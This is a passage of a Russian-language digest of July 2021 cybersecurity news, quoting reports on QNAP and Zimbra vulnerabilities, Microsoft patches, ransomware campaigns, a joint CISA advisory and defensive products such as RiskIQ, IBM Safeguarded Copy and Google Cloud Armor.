Однако, хотя QNAP опубликовал рекомендации по безопасности, в которых объявлялось, что сегодня исправлена ошибка CVE-2021-28809, в примечаниях к выпуску приложения не указаны какие-либо обновления безопасности с 14 мая 2021 года.

По заявлению компании, устройства QNAP NAS под управлением QTS 4.5.x с HBS 3 v16.x не подвержены этой уязвимости безопасности и не подвержены атакам.

Бэкдор-аккаунт HBS, использованный вымогателем Qlocker

QNAP устранила еще одну критическую уязвимость системы безопасности, обнаруженную в приложении резервного копирования и аварийного восстановления HBS 3 Hybrid Backup Sync.

Бэкдор счет изъян, первоначально описанный компания как «HARDCODED учетных данных», а затем в качестве «неправильного разрешения,» при условии, бэкдор счета, что позволило Qlocker вымогателей операторам шифровать интернет-незащищенная сеть устройств хранения (NAS).

Начиная как минимум с 19 апреля, Qlocker начал нацеливаться на устройства QNAP в рамках масштабной кампании, развертывая полезные нагрузки программ-вымогателей, которые перемещали файлы жертв в защищенные паролем архивы 7zip и запрашивали выкуп.

Как сообщает BleepingComputer, банда вымогателей заработала около 260 000 долларов всего за пять дней, потребовав выкуп в размере 0,01 биткойна (что на тот момент составляло примерно 500 долларов).

В том же месяце QNAP призвала своих клиентов защитить свои устройства NAS от атак программ-вымогателей Agelocker, нацеленных на их данные, а две недели спустя - от кампании вымогателей eCh0raix.

Устройства QNAP ранее были атакованы eCh0raix вымогателей (также известные как QNAPCrypt), в течение июня 2019 года и июня 2020 года.

Клиентам, которые хотят защитить свои устройства NAS от входящих атак, рекомендуется следовать этим передовым методам повышения безопасности NAS». ***(Sergiu Gatlan. QNAP fixes critical bug in NAS backup, disaster recovery app // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/qnap-fixes-critical-bug-in-nas-backup-disaster-recovery-app/). 05.07.2021).***

***

«Корпорация Microsoft выпустила плановые июльские обновления безопасности, закрывающие 117 уязвимостей, из них 13 уязвимостей были классифицированы как «Критические» и 103 уязвимости как «Важные». Среди закрытых было девять уязвимостей нулевого дня (0-day). Из них пять были обнародованы, но не использовались в реальных атаках, эксплуатация трех была зафиксирована в атаках, но детали были раскрыты приватно, а одна уязвимость была сразу и обнародована публично, и зафиксирована в реальных атаках.

Очень важно не просто обновлять используемое ПО, но и делать это своевременно, поскольку, по оценкам специалистов, почти 90% всех атакованных уязвимостей на момент обнародования уже имели патчи от производителей.

Особое внимание рекомендуется обратить на следующие уязвимости и обновления безопасности в июльском патче:

CVE-2021-34494 – Windows DNS Server Remote Code Execution Vulnerability (Critical RCE, CVSS Score 8.8);

CVE-2021-34450 – Windows Hyper-V Remote Code Execution Vulnerability (Critical RCE, CVSS Score 8.5);

CVE-2021-34458 – Windows Kernel Remote Code Execution Vulnerability (Critical RCE, CVSS Score 9.9).

Июльские обновления безопасности исправляют следующие уязвимости, эксплуатация которых была зафиксирована в реальных атаках:

CVE-2021-33771 – Windows Kernel Elevation of Privilege Vulnerability (Important EOP, CVSS Score 7.8);

CVE-2021-31979 – Windows Kernel Elevation of Privilege Vulnerability (Important EOP, CVSS Score 7.8);

CVE-2021-34448 – Scripting Engine Memory Corruption Vulnerability (Critical RCE, CVSS Score 6.8).

Замыкает число лидеров июльского выпуска критическая уязвимость удаленного исполнения кода CVE-2021-34527 в компонентах службы управления очередью печати Windows Print Spooler (также известная как PrintNightmare), заслуживающая отдельного внимания. Данная уязвимость затрагивает все версии ОС Windows и Windows Server. Рейтинг CVSS составил 8.8, информация об уязвимости была обнародована публично, доступны рабочие эксплойты и эксплуатация зафиксирована в реальных атаках. Помимо установки самого обновления безопасности, необходимо убедиться в корректности настроек реестра, относящихся к функции Point and Print. Подробности можно найти в статье KB5005010.

Важно также, что в марте закончилась поддержка старой версии браузера Microsoft Edge (на движке EdgeHTML). При установке апрельского накопительного пакета старый браузер будет заменен новой версией Microsoft Edge на движке Chromium. А через год, 15 июня 2022 г., прекратится поддержка браузера Internet Explorer 11.

В июле были выпущены также обновления Servicing Stack Updates (SSU) для следующих ОС:

Windows 10 версии 1909, 2004, 20H2;

Windows Server версии 1909, 2004, 20H2.

Для версий Windows 10 и Windows Server 2004 и 20H2 обновления SSU теперь поставляются в едином накопительном пакете (Unified monthly update)». ***(Июльское обновление безопасности Microsoft закрывает 117 уязвимостей, включая 13 критических // Компьютерное Обозрение (https://ko.com.ua/iyulskoe_obnovlenie_bezopasnosti_microsoft_zakryvaet_117_uyazvimostej_vklyuchaya_13_kriticheskih_138148). 26.07.2021).***

***

«Специалисты «Ростелеком-Солар» обнаружили, что больше половины (57%) современных веб-приложений содержат критические уязвимости. Это ставит под угрозу российские компании – с их помощью хакеры с легкостью могут проникать в их сети и красть корпоративную информацию, в том числе персональные данные сотрудников и клиентов.

Веб-приложения с «сюрпризом»

Больше половины современных веб-приложений содержат в себе критические уязвимости, что ставит под удар кибербезопасность отечественных компаний. Представители компании «Ростелеком-Солар» из сферы информационной безопасности сообщили CNews, что на долю «дырявых» веб-приложений приходится, по меньшей мере, 57% от их общего количества.

Данные основаны на анализе киберзащищенности российских компаний, проведенном специалистами «Ростелеком-Солар». С их слов, большинство веб-приложений открывают хакерам очень легкий путь к корпоративной информации, в том числе и конфиденциальной. В отдельных случаях с их помощью злоумышленники даже могут запускать произвольный код и полностью брать под контроль компьютеры и сети.

Свое исследование эксперты «Ростелеком-Солар» проводили на компаниях из целого ряда сфер. В перечень вошли финансовые организации, компании из энергетического комплекса, а также предприятия из сферы информационных технологий и телекоммуникаций.

Что не так с веб-приложениями

Под веб-приложениями авторы исследования подразумевают сайты, в той или иной степени взаимодействующие с пользователями. К ним относятся веб-клиенты электронной почты, интернет-банкинг, внутренний корпоративный портал компаний для ее сотрудников и т. д. Угрозу могут представлять даже интернет-магазины, популярность которых резко возросла в период пандемии коронавируса и вынужденного перевода многими компаниями своих сотрудников на удаленную работу.

По оценке специалистов «Ростелеком-Солар», веб-приложения с плохо проработанной безопасностью – это настоящий подарок для хакеров. С их помощью они могут получить доступ к локальной сети компании, перехватить контроль над сервером, запустить вредоносное ПО, украсть пароли и т. д.

«Большинство уязвимостей и недостатков, которые мы находим в ходе тестирований на проникновение, имеют достаточно низкую сложность эксплуатации, то есть провести удачную атаку с их помощью могут даже хакеры-любители, не говоря уже о профессиональных киберпреступниках. Это делает веб-приложение одним из самых уязвимых элементов внешнего периметра», – сообщил CNews руководитель отдела анализа защищенности компании «Ростелеком-солар» Александр Колесов.

Самые распространенные уязвимости веб-приложений

Эксперты выделили несколько наиболее часто встречающихся «дыр» в интерактивных веб-сайтах. В числе первых они назвали некорректную настройку прав доступа.

Эксплуатация данной уязвимости позволяет хакерам, к примеру, повышать права пользователя до уровня администратора. «Эта уязвимость связана со сложной логикой современных веб-приложений, которые включают в себя различную функциональность для большого количества пользовательских ролей», – уточнили CNews представители «Ростелеком-Солар».

Следует отметить, что подобного рода бреши встречаются не только в веб-приложениях, но и в операционных системах. В подобном, к примеру, замечена еще не вышедшая Microsoft Windows 11.

Вторая по популярности уязвимость веб-приложений – это раскрытие конфигурационных данных. Используя ее, хакер получает доступ к структуре веб-приложения. К ней относятся внутренние IP-адреса, API-ключи, отладочные сценарии, журналы приложений и т.д.

Данная уязвимость не менее опасна, чем первая. С ее помощью киберпреступник запросто может получить персональные данные клиентов сотрудников компаний – эти сведения нередко хранятся в упомянутых журналах приложений.

Подобная информация может оказаться полезной, например, конкурирующей компании. Контакты сотрудников могут быть переданы рекрутерам, а контакты клиентов могут упростить процесс их переманивания.

Взлом компаний для «чайников»

Специалисты «Ростелеком-Солар» считают, что в ряде случаев хакерам даже не нужно полностью контролировать веб-приложение, чтобы пробраться через них в сети компании-жертвы. Некоторые уязвимости позволяют сделать это проще и быстрее.

Эксперты привели в пример способ с подделкой запроса на стороне сервера. Эта брешь дает возможность отправлять от имени сервера запросы как к внешним, так и к внутренним ресурсам и извлекать закрытую информацию из системы. Эта уязвимость работает в тех веб-приложениях, которые при получении HTTP-сообщения или URL-адреса не проверяют адреса назначения перед отправкой запроса.

Также в некоторых системах эксперты нашли ошибки, позволяющие совершить атаку непосредственно на пользователя (например, межсайтовый скриптинг – XSS). Такие атаки работают по следующему принципу: в приложение внедряется JavaScript-код, который затем исполняется в браузере жертвы. Цели у хакеров могут быть разные: выполнение действий от имени пользователя, кража его личных данных, майнинг криптовалют и многое другое.

Не веб-приложениями едиными

Авторы исследования отмечают, что компаниям, которым не безразлична собственная кибербезопасность, следует опасаться не только веб-приложений. С их слов, для проникновения в корпоративную сеть они могут использовать VPN, удаленный рабочий стол (RDP) и другие системы удаленного доступа.

Популярность такого вида атак, как и веб-приложений, в период пандемии на фоне массового перехода на удаленную работу показала значительный рост. «Распространенным недостатком здесь являются отсутствие дополнительного фактора аутентификации при подключении к сервису, а также слабые и

повторяющиеся пароли пользователей. Часто злоумышленники получают доступ в сеть через VPN-подключение с помощью ранее скомпрометированного пароля», – заявили CNews представители «Ростелеком-Солар».

Госсектор тоже в зоне риска

Хакеры атакуют не только российские частные компании, но и отечественный госсектор. В конце мая 2021 г. стало известно, что компьютерные сети российских федеральных органов исполнительной власти России (ФОИВ) подвергаются регулярным кибератакам с 2017 г. При этом хакерам годами удавалось не только не попадаться, но и тщательно заметать следы своего присутствия в сетях ФОИВов.

Как сообщили CNews представители «Ростелеком-Солар», стоявшие за атаками на госсектор хакеры проводили тщательную подготовку перед каждым взломом, что и помогало им оставаться незамеченными. Обнаружить их деятельность удалось лишь при попытке проведения ими в 2020 г. атаки на один из российских ФОИВов из списка клиентов центра противодействия кибератакам Solar JSOC («Ростелеком-Солар»).

При этом на момент публикации материала было известно лишь о факте многочисленных заранее спланированных атак. Кто стоит за ними, и какие данные удалось украсть хакерам, специалистам лишь предстоит выяснить». ***(Эльяс Касми. Через «дыры» в веб-приложениях даже хакеры-любители могут взломать российские компании // CNews (https://safe.cnews.ru/news/top/2021-07-22_hakerylyubiteli_nauchilis). 22.07.2021).***

***

«Киберпреступная группировка TG1021 (или Praying Mantis), предположительно связанная с Китаем, эксплуатировала уязвимость в популярном инструменте для создания опросов Checkbox Survey для осуществления атак на организации в США.

Специалисты из ИБ-компании Sygnia подробно рассказали об атаках, совершенных группировкой на «известные государственные и частные организации» в США. Sygnia не упоминала Китай в своем отчете, но обнаружила некоторые связи с другими атаками, которые ранее были связаны с правительством Китая.

В ходе атак преступники эксплуатировали уязвимость десереализации (CVE-2021-27852) в инструменте Checkbox Survey. Уязвимость может использоваться удаленно без аутентификации и затрагивает версию приложения Checkbox Survey 6. Уязвимость отсутствует в версии 7.0 (выпущенной в 2019 году), но более старые версии больше не поддерживаются и не будут получать исправления.

Sygnia обнаружила некоторое сходство с атаками, нацеленными на государственные и частные организации в Австралии в прошлом году, которые специалисты связали с китайскими хакерами. Sygnia обнаружила сходство между вредоносным ПО, использованным в атаках в Австралии, и вредоносным ПО, использованным в недавних атаках на цели в США. Как отметили в компании, деятельность, описанная австралийским CERT/CC, «шире» и состоит из других

техник, тактик и процедур, которые не были замечены в недавних атаках на компании в США.

Вредоносное ПО, используемое TG1021, включает специальные инструменты, разработанные для взлома IIS-серверов, бэкдор, а также несколько постэксплуатационных модулей, которые позволяют злоумышленникам проводить разведку, повышать привилегии и перемещаться по сети. Как отметили эксперты, злоумышленники активно удаляли все резидентные инструменты диска после их использования, фактически отказавшись от обеспечения персистентности в обмен на скрытность». ***(Хакеры использовали популярный инструмент для online-опросов в атаках на США // SecurityLab.ru (https://www.securitylab.ru/news/522745.php). 27.07.2021).***

***

«Исследователи безопасности из компании NCC Group выявили критическую уязвимость (CVE-2021-36380) неаутентифицированного внедрения команд ОС в приложении Sunhillo SureLine для наблюдения за воздушными судами. Эксплуатация проблемы позволяет злоумышленнику выполнять произвольные команды с привилегиями суперпользователя.

Как сообщается на официальном сайте компании, Sunhillo сотрудничает с Федеральным управлением гражданской авиации, вооруженными силами США, органами гражданской авиации и национальными оборонными организациями по всему миру.

Обнаруженная критическая проблема внедрения команд в ОС позволяет злоумышленнику установить интерактивный канал с уязвимым устройством, перехватив над ним контроль. Успешное использование уязвимости может привести к полной компрометации системы. Имея полный контроль над устройством, злоумышленник может вызвать состояние «отказа в обслуживании» или обеспечить себе персистентность.

Проблема была обнаружена в скрипте /cgi/networkDiag.cgi, который напрямую включал управляемые пользователем параметры в команду оболочки, позволяя злоумышленнику манипулировать полученной командой с помощью действительных команд ОС. Внедрение команд было возможно с помощью $() и выполнения произвольных команд в скобках. С помощью специально созданного POST-запроса злоумышленник может ввести команду для установления обратного TCP-соединения с другой системой, что приведет к интерактивному сеансу удаленной оболочки, предоставляющему полный контроль над системой.

Эксперты сообщили о своих находках Sunhillo, и компания исправила проблему в версии Sunhillo SureLine 8.7.0.1.1». ***(В решении для наблюдения за воздушными судами Sunhillo SureLine обнаружена критическая уязвимость // SecurityLab.ru (https://www.securitylab.ru/news/522826.php). 27.07.2021).***

***

«Агентство по кибербезопасности и безопасности инфраструктуры (CISA), Австралийский центр кибербезопасности (ACSC), Национальный центр кибербезопасности Соединенного Королевства (NCSC) и Федеральное

бюро расследований (ФБР) выпустили совместные рекомендации по кибербезопасности сегодня, выделяя наиболее распространенные уязвимости и уязвимости (CVE), которые регулярно используются кибер-субъектами в 2020 году, и те уязвимости, которые широко используются до сих пор в 2021 году. Кибер-субъекты продолжают использовать общеизвестные - и часто устаревшие - уязвимости программного обеспечения против широкого набора целевых объектов, включая организации государственного и частного секторов по всему миру. Организациям рекомендуется применить доступные исправления для 30 уязвимостей, перечисленных в совместных рекомендациях по кибербезопасности, и внедрить централизованную систему управления исправлениями.

Один из ключевых выводов заключается в том, что четыре наиболее целевых уязвимости в 2020 году связаны с удаленной работой, виртуальными частными сетями или облачными технологиями. Многие устройства VPN-шлюзов оставались неустановленными в течение 2020 года с ростом числа вариантов удаленной работы из-за пандемии COVID-19, которая поставила под сомнение способность организаций проводить строгое управление исправлениями. В 2021 году злоумышленники продолжали атаковать уязвимости в устройствах периметрального типа. В этом сообщении перечислены поставщики, продукты и CVE, связанные с этими уязвимостями, которые организациям следует срочно исправить.

«В кибербезопасности очень важно понять основы. Организации, применяющие лучшие практики кибербезопасности, такие как установка исправлений, могут снизить риск для кибер-субъектов, использующих известные уязвимости в своих сетях», - сказал Эрик Голдштейн, исполнительный помощник директора по кибербезопасности, CISA. «Сотрудничество является важной частью работы CISA, и сегодня мы заключили партнерские отношения с ACSC, NCSC и FBI, чтобы выявить кибер-уязвимости, которые государственные и частные организации должны уделять приоритетным исправлениям, чтобы минимизировать риск использования злоумышленниками».

«Это руководство будет полезно для того, чтобы защитники сетей и организации могли снять коллективную защиту от киберугроз», - сказала г-жа Эбигейл Брэдшоу CSC, глава Австралийского центра кибербезопасности. «Этот совет дополняет наши рекомендации, доступные на cyber.gov.au, и подчеркивает решимость ACSC и наших партнерских агентств совместно бороться с злонамеренной киберактивностью».

«Мы стремимся работать с союзниками, чтобы повысить осведомленность о глобальных слабостях в киберпространстве и предложить простые решения для их устранения», - сказал операционный директор NCSC Пол Чичестер. «Опубликованный сегодня совет дает каждой организации возможность исправить наиболее распространенные уязвимости, такие как непропатченные устройства шлюза VPN. Работая с нашими международными партнерами, мы продолжим повышать осведомленность об угрозах, исходящих от тех, кто стремится причинить вред».

«ФБР по-прежнему привержено обмену информацией с государственными и частными организациями в целях предотвращения использования уязвимостей злоумышленниками в киберпространстве», - сказал заместитель директора ФБР Брайан Ворндран. «Мы твердо уверены, что координация и сотрудничество с нашими партнерами из федерального и частного секторов обеспечат более безопасную киберсреду, уменьшив шансы этих субъектов на успех».

Консультации также направляют партнеров государственного и частного секторов на поддержку и ресурсы, доступные для смягчения и устранения этих уязвимостей от каждого агентства, а также от других правительственных и отраслевых партнеров.

Один из наиболее эффективных методов устранения многих уязвимостей - это обновление программного обеспечения после того, как исправления будут доступны и как только это станет практически возможным. Сосредоточение ресурсов киберзащиты на устранении уязвимостей, которые чаще всего используют злоумышленники, должно быть укоренившимся в культуре каждой организации. Такой подход предлагает потенциал не только для повышения безопасности сети, но и для предотвращения разрушительных и разрушительных операций наших противников.

CISA, ACSC, NCSC и ФБР призывают организации, которые еще не устранили эти уязвимости, исследовать наличие индикаторов компрометации, перечисленных в этом информационном бюллетене. В случае компрометации организации должны инициировать планы реагирования на инциденты и восстановления.

Дополнительные общие передовые методы предотвращения киберугроз см. В совместных рекомендациях Австралии, Канады, Новой Зеландии, Великобритании и США по техническим подходам к обнаружению и устранению вредоносных действий и стратегиям устранения угроз Essential Eight от ACSC». ***(U.S., U.K., AND AUSTRALIA ISSUE JOINT CYBERSECURITY ADVISORY // The Cybersecurity and Infrastructure Security Agency (CISA) (https://www.cisa.gov/news/2021/07/28/us-uk-and-australia-issue-joint-cybersecurity-advisory). 28.07.2021).***

***

«Уязвимости в корпоративном почтовом клиенте Zimbra могут позволить злоумышленнику получить неограниченный доступ к отправленным и полученным сообщениям электронной почты организации. По словам специалистов из компании SonarSource, эксплуатация проблем позволяет неавторизованному злоумышленнику взломать почтовый сервер организации и получить доступ ко всем сообщениям электронной почты сотрудников.

Первая проблема (CVE-2021-35208) представляет собой уязвимость межсайтового выполнения сценариев (XSS) на основе программного интерфейса DOM. Уязвимость может быть использована, когда жертва просматривает входящее письмо со специальным JavaScript-кодом.

Также была обнаружена уязвимость подделки запросов на стороне сервера (CVE-2021-35209). Злоумышленник может проэксплуатировать обе уязвимости и похитить токены и учетные данные пользователей.

Zimbra проверяет HTML-контент во входящих сообщениях электронной почты на стороне сервера, используя OWASP Java-HTML-Sanitizer, что является правильным подходом. Однако это и связано с возникновением первой уязвимости. Три почтовых клиента Zimbra (версия клиента для ПК, web-клиент и оптимизированные для мобильных устройств клиенты) «могут впоследствии преобразовать доверенный HTML-код электронного письма и привести к его повреждению, открывая дверь для XSS-атак».

Уязвимость SSRF была обнаружена в интеграции Webex, поддерживаемой Zimbra. Проблема связана с прокси-сервером, который пересылает все заголовки и параметры HTTP-запросов на URL-адреса, соответствующие шаблону *.webex.com.

Обе уязвимости были исправлены в конце июня с выпуском версий Zimbra 9.0.0 P16 и 8.8.15 P23». ***(Серверы web-почты Zimbra можно взломать с помощью одного электронного письма // SecurityLab.ru (https://www.securitylab.ru/news/522839.php). 28.07.2021).***

***

Технічні та програмні рішення для протидії кібернетичним загрозам

«Корпорация Microsoft заявила, что согласилась приобрести RiskIQ, производителя программного обеспечения для обеспечения безопасности, поскольку технический гигант пытается расширить свои продукты и лучше защитить клиентов в условиях растущей волны глобальных кибератак.

Компания объявила о сделке в понедельник на своем веб-сайте и не раскрыла условия. В воскресенье агентство Bloomberg сообщило о покупке со ссылкой на людей, знакомых с ситуацией. Microsoft платит за компанию более 500 миллионов долларов наличными, сказал один из людей, который отказался назвать свое имя, обсуждая конфиденциальные вопросы.

Компания RiskIQ из Сан-Франциско создает облачное программное обеспечение для обнаружения угроз безопасности, помогая клиентам понять, где и как они могут быть атакованы в сложных веб-сетях корпоративных сетей и устройств. Согласно веб-сайту компании, среди ее клиентов Facebook Inc., BMW AG, American Express Co. и Почтовая служба США.

По данным Crunchbase, известная своим ежегодным отчетом по безопасности под названием «Минута зла в Интернете», RiskIQ привлекла 83 миллиона долларов от таких фирм, как Summit Partners и Battery Ventures. Основан в 2009 году.

Microsoft добавляет функции безопасности к продуктам, включая Windows и свои облачные службы Azure, для защиты отдельных компьютеров и обнаружения атак на сети. Компания также добавила персонал, который исследует собственные продукты Microsoft на предмет уязвимостей, помогает клиентам устранять

уязвимости после кибератак и управляет лабораторией под названием Microsoft Threat Intelligence Center, которая внимательно отслеживает хакеров из национального государства.

Производитель программного обеспечения также приобрел несколько компаний, чтобы расширить свои возможности в области безопасности. В прошлом месяце Microsoft купила ReFirm Labs, производителя технологий для защиты устройств Интернета вещей, за неизвестную сумму. В сообщении в блоге, объявляющем о сделке, компания сообщила, что у нее 3500 сотрудников, работающих над безопасностью в Microsoft, и их миссия - помочь защитить клиентов «от чипа до облака».

Microsoft и остальная часть технологической индустрии США, а также компании и правительственные учреждения также провели последние восемь месяцев, борясь с серией разрушительных и широко распространенных кибератак…». ***(Katie Roof, Dina Bass. Microsoft Agrees to Acquire Cybersecurity Company RiskIQ // Bloomberg (https://www.bloomberg.com/news/articles/2021-07-11/microsoft-is-said-to-be-buying-cybersecurity-company-riskiq). 12.07.2021).***

***

«IBM заявила, что добавляет инструменты в свой портфель флэш-массивов FlashSystem для более эффективного восстановления после программ-вымогателей и кибератак.

Ни для кого не секрет, что программы-вымогатели - огромная беда для многих организаций. С этой целью IBM запустила IBM Safeguarded Copy для систем хранения IBM FlashSystem.

Защищенная копия автоматически создает копии данных, которые защищены системой безопасности и недоступны. Эти снимки доступны в случае утечки данных или кибератаки, нарушающей работу.

Теоретически подход IBM может помочь компаниям и недостаточно укомплектованным персоналом правительственным группам быстрее восстановиться. Основные сведения о IBM Safeguarded Copy, основанной на технологии из портфеля систем хранения IBM DS8000:

Администраторы хранилища могут планировать автоматические снимки.

Моментальные снимки помещаются в защищенные пулы в системе хранения.

Данные в этом защищенном пуле становятся доступны только после их восстановления.

Защищенную копию также можно использовать для извлечения и восстановления данных для диагностики производственных проблем, а также для проверки копий.

IBM Safeguarded Copy можно интегрировать с платформой IBM Security QRadar для мониторинга безопасности. QRadar сможет отслеживать атаки и активировать защищенное копирование для создания резервных копий.

Кроме того, IBM заявила, что в сентябре запустит IBM Storage as a Service для гибридного облачного хранилища, которое будет доступно в Северной Америке и Европе. Заказчики смогут увеличивать емкость хранилища по разным ценам. IBM Storage as a Service является частью предложений Big Blue по гибкой

инфраструктуре». ***(Larry Dignan. IBM FlashSystem gets safeguarded data copies to speed up cyberattack recovery // ZDNet (https://www.zdnet.com/article/ibm-flashsystem-gets-safeguarded-data-copies-to-speed-up-cyberattack-recovery/). 20.07.2021).***

***

«Сегодня в рамках продолжающихся ответных мер агентства правительства США объявили о новых ресурсах и инициативах по защите американских предприятий и сообществ от атак программ-вымогателей. Министерство внутренней безопасности США (DHS) и Министерство юстиции США (DOJ) вместе с федеральными партнерами запустили новый веб-сайт для борьбы с угрозой программ-вымогателей. StopRansomware.gov создает единый центр ресурсов вымогателей для частных лиц, предприятий и других организаций. Новый StopRansomware.gov - это результат совместных усилий федерального правительства и первого совместного веб-сайта, созданного для того, чтобы помочь частным и государственным организациям снизить риск программ-вымогателей.

«Поскольку количество атак программ-вымогателей продолжает расти во всем мире, предприятия и другие организации должны уделять приоритетное внимание своей кибербезопасности», - сказал секретарь Майоркас. «Киберпреступники нацелились на критическую инфраструктуру, малые предприятия, больницы, полицейские управления, школы и многое другое. Эти атаки напрямую влияют на повседневную жизнь американцев и безопасность нашей страны. Я призываю каждую организацию по всей нашей стране использовать этот новый ресурс, чтобы узнать, как защитить себя от программ-вымогателей и снизить риск их кибербезопасности».

«Министерство юстиции стремится защитить американцев от роста атак программ-вымогателей, который мы наблюдаем в последние годы», - сказал генеральный прокурор Гарланд. «Вместе с нашими партнерами в правительстве и за его пределами, а также через нашу Целевую группу по программам-вымогателям и цифровому вымогательству, Департамент работает над тем, чтобы задействовать все наши инструменты для борьбы с этими угрозами. Но мы не можем сделать это в одиночку. Для руководителей предприятий во всех отраслях крайне важно распознать угрозу, расставить приоритеты по усилению защиты своих систем и сотрудничать с правоохранительными органами, незамедлительно сообщая об этих атаках».

StopRansomware.gov - это первый центральный узел, объединяющий ресурсы программ-вымогателей от всех федеральных правительственных агентств. До сегодняшнего дня людям и организациям приходилось посещать различные веб-сайты в поисках рекомендаций, последних предупреждений, обновлений и ресурсов, повышающих вероятность пропуска важной информации. StopRansomware.gov снижает фрагментацию ресурсов, которая особенно пагубна для тех, кто стал жертвой атаки, за счет интеграции федеральных ресурсов вымогателей в единую платформу, которая включает четкие инструкции о том, как сообщать об атаках, а также последние предупреждения, связанные с программами-вымогателями угрозы со стороны всех участвующих агентств.

StopRansomware.govвключает ресурсы и контент из Агентства по кибербезопасности и безопасности инфраструктуры (CISA) DHS и Секретной службы США, Федерального бюро расследований (FBI) Министерства юстиции, Национального института стандартов и технологий Министерства торговли США (NIST) и департаментов США. Казначейство и Здравоохранение и социальные службы.

Программы-вымогатели - давняя проблема и растущая угроза национальной безопасности. Решение этой проблемы требует сотрудничества на всех уровнях правительства, частного сектора и наших сообществ. В 2020 году злоумышленникам в киберпространстве было выплачено около 350 миллионов долларов выкупа, что более чем на 300% больше, чем в предыдущем году. Кроме того, в 2021 году уже произошло несколько заметных атак с использованием программ-вымогателей, и, несмотря на то, что они составляют примерно 75% всех случаев вымогательства, атаки на малые предприятия часто остаются незамеченными. Как и большинство кибератак, программы-вымогатели используют самое слабое звено. Многим малым предприятиям еще предстоит должным образом защитить свои сети и StopRansomware.gov. поможет этим и многим другим организациям предпринять простые шаги для защиты своих сетей и реагирования на инциденты, связанные с программами-вымогателями, а также предоставит группам информационных технологий (ИТ) корпоративного уровня технические ресурсы для снижения риска программ-вымогателей.

DHS, Министерство юстиции, Белый дом и наши федеральные партнеры призывают всех людей и организации сделать первый шаг в защите своей кибербезопасности, посетив StopRansomware.gov». ***(United States Government Launches First One-Stop Ransomware Resource at StopRansomware.gov // Department of Homeland Security (https://www.dhs.gov/news/2021/07/14/united-states-government-launches-first-one-stop-ransomware-resource). 14.07.2021).***

***

«Google мог бы представить общедоступную предварительную версию Adaptive Protection Cloud Armor - основанного на машинном обучении метода обнаружения и защиты корпоративных приложений и сервисов от DDoS-атак уровня 7.

Это та же технология, которую Google использует для предоставления Project Shield, бесплатного сервиса от материнской компании Google Alphabet, который защищает права человека, правительственные и медиа-организации от DDoS-атак.

В прошлом Google блокировал невероятно крупные DDoS-атаки, в том числе одну в 2017 году со скоростью 2,56 Тбит/с, нацеленную злоумышленником, поддерживаемого Пекином.

В ноябре Google представила Cloud Armor Adaptive Protection в рамках своей службы защиты от DDoS-атак и брандмауэра веб-приложений (WAF), которая предоставляет клиентам ту же технологию, которую Google использует для своей защиты.

Его технология Adaptive Protection использует модели машинного обучения для анализа сигналов веб-сервисов с целью обнаружения потенциальных атак. Он

может обнаруживать большие объемы DDoS-атак на уровне приложений на веб-приложения и службы и ускоряет их устранение, обнаруживая аномальный трафик.

Переход к общедоступной предварительной версии означает, что все клиенты Google Cloud могут протестировать его функциональность.

«В течение последних нескольких лет мы создавали и совершенствовали эту технологию с внутренними и внешними партнерами по проектированию и тестировщиками. Все клиенты Cloud Armor могут опробовать ее без дополнительной оплаты в течение периода предварительного просмотра», - сказал Эмиль Кинер, менеджер по продукту Google Cloud. Броня.

Google Cloud также выпустила новые предварительно настроенные правила WAF и эталонную архитектуру, чтобы помочь клиентам устранить уязвимости веб-приложений OWASP.

«Адаптивная защита быстро выявляет и анализирует подозрительные шаблоны трафика и предоставляет настраиваемые, узкоспециализированные правила, которые смягчают продолжающиеся атаки практически в реальном времени», - пояснил Кинер.

Он отметил, что в то время как атаки уровня 3 и уровня 4 могут быть остановлены в пограничной сети Google, атаки уровня 7 основываются на «правильно сформированных» и законных веб-запросах.

Эти запросы генерируются автоматически со взломанных устройств Windows, Mac и Linux, которые составляют ботнет и выбрасывают нежелательный трафик в объемах, которые большинство веб-сайтов не может выдержать.

«Поскольку атаки могут исходить с миллионов отдельных IP-адресов, ручная сортировка и анализ для создания и применения правил блокировки требует времени и ресурсов, что в конечном итоге позволяет атакам большого объема воздействовать на приложения», - отмечает Google.

Служба адаптивной защиты, предназначенная для групп по обеспечению безопасности, предоставляет ранние предупреждения о странных запросах на основе: количества используемых серверных служб, постоянно обновляемых сигнатур, которые объясняют предполагаемую атаку, и рекомендуемых пользовательских правил WAF для блокировки трафика атаки». ***(Liam Tung. DDoS: Google has a new tool to defend against attacks launched by botnets // ZDNet (https://www.zdnet.com/article/google-is-using-machine-learning-to-stop-ddos-attacks/). 20.07.2021).***

***

«Корпорация Microsoft заявила, что согласилась приобрести RiskIQ, производителя программного обеспечения для обеспечения безопасности, поскольку технический гигант пытается расширить свои продукты и лучше защитить клиентов в условиях растущей волны глобальных кибератак.

Компания объявила о сделке в понедельник на своем веб-сайте и не раскрыла условия. Bloomberg в воскресенье сообщил о покупке со ссылкой на людей, знакомых с этим вопросом. Microsoft платит за компанию более 500 миллионов долларов наличными, сказал один из людей, который отказался назвать свое имя, обсуждая конфиденциальные вопросы.

Компания RiskIQ из Сан-Франциско создает облачное программное обеспечение для обнаружения угроз безопасности, помогая клиентам понять, где и как они могут быть атакованы в сложных веб-сетях корпоративных сетей и устройств. Согласно информации на веб-сайте компании, среди ее клиентов - Facebook Inc., BMW AG, American Express Co. и Почтовая служба США.

По данным Crunchbase, известная своим ежегодным отчетом по безопасности под названием «Минута зла в Интернете», RiskIQ привлекла 83 миллиона долларов от таких компаний, как Summit Partners и Battery Ventures. Основан в 2009 году.

Microsoft добавляет функции безопасности к продуктам, включая Windows и свои облачные службы Azure, для защиты отдельных компьютеров и обнаружения атак в сетях. Компания также добавила персонал, который исследует собственные продукты Microsoft на предмет уязвимостей, помогает клиентам устранять уязвимости после кибератак и управляет лабораторией под названием Microsoft Threat Intelligence Center, которая внимательно отслеживает хакеров из национального государства.

Производитель программного обеспечения также приобрел несколько компаний, чтобы расширить свои возможности в области безопасности. В прошлом месяце Microsoft купила ReFirm Labs, производителя технологий для защиты устройств Интернета вещей, за неизвестную сумму. В сообщении в блоге, объявляющем о сделке, компания сообщила, что у нее 3500 сотрудников, работающих над безопасностью в Microsoft, и их миссия - помочь защитить клиентов «от чипа до облака».

Microsoft и остальная часть технологической индустрии США, а также компании и правительственные учреждения также провели последние восемь месяцев, борясь с серией разрушительных и широко распространенных кибератак.

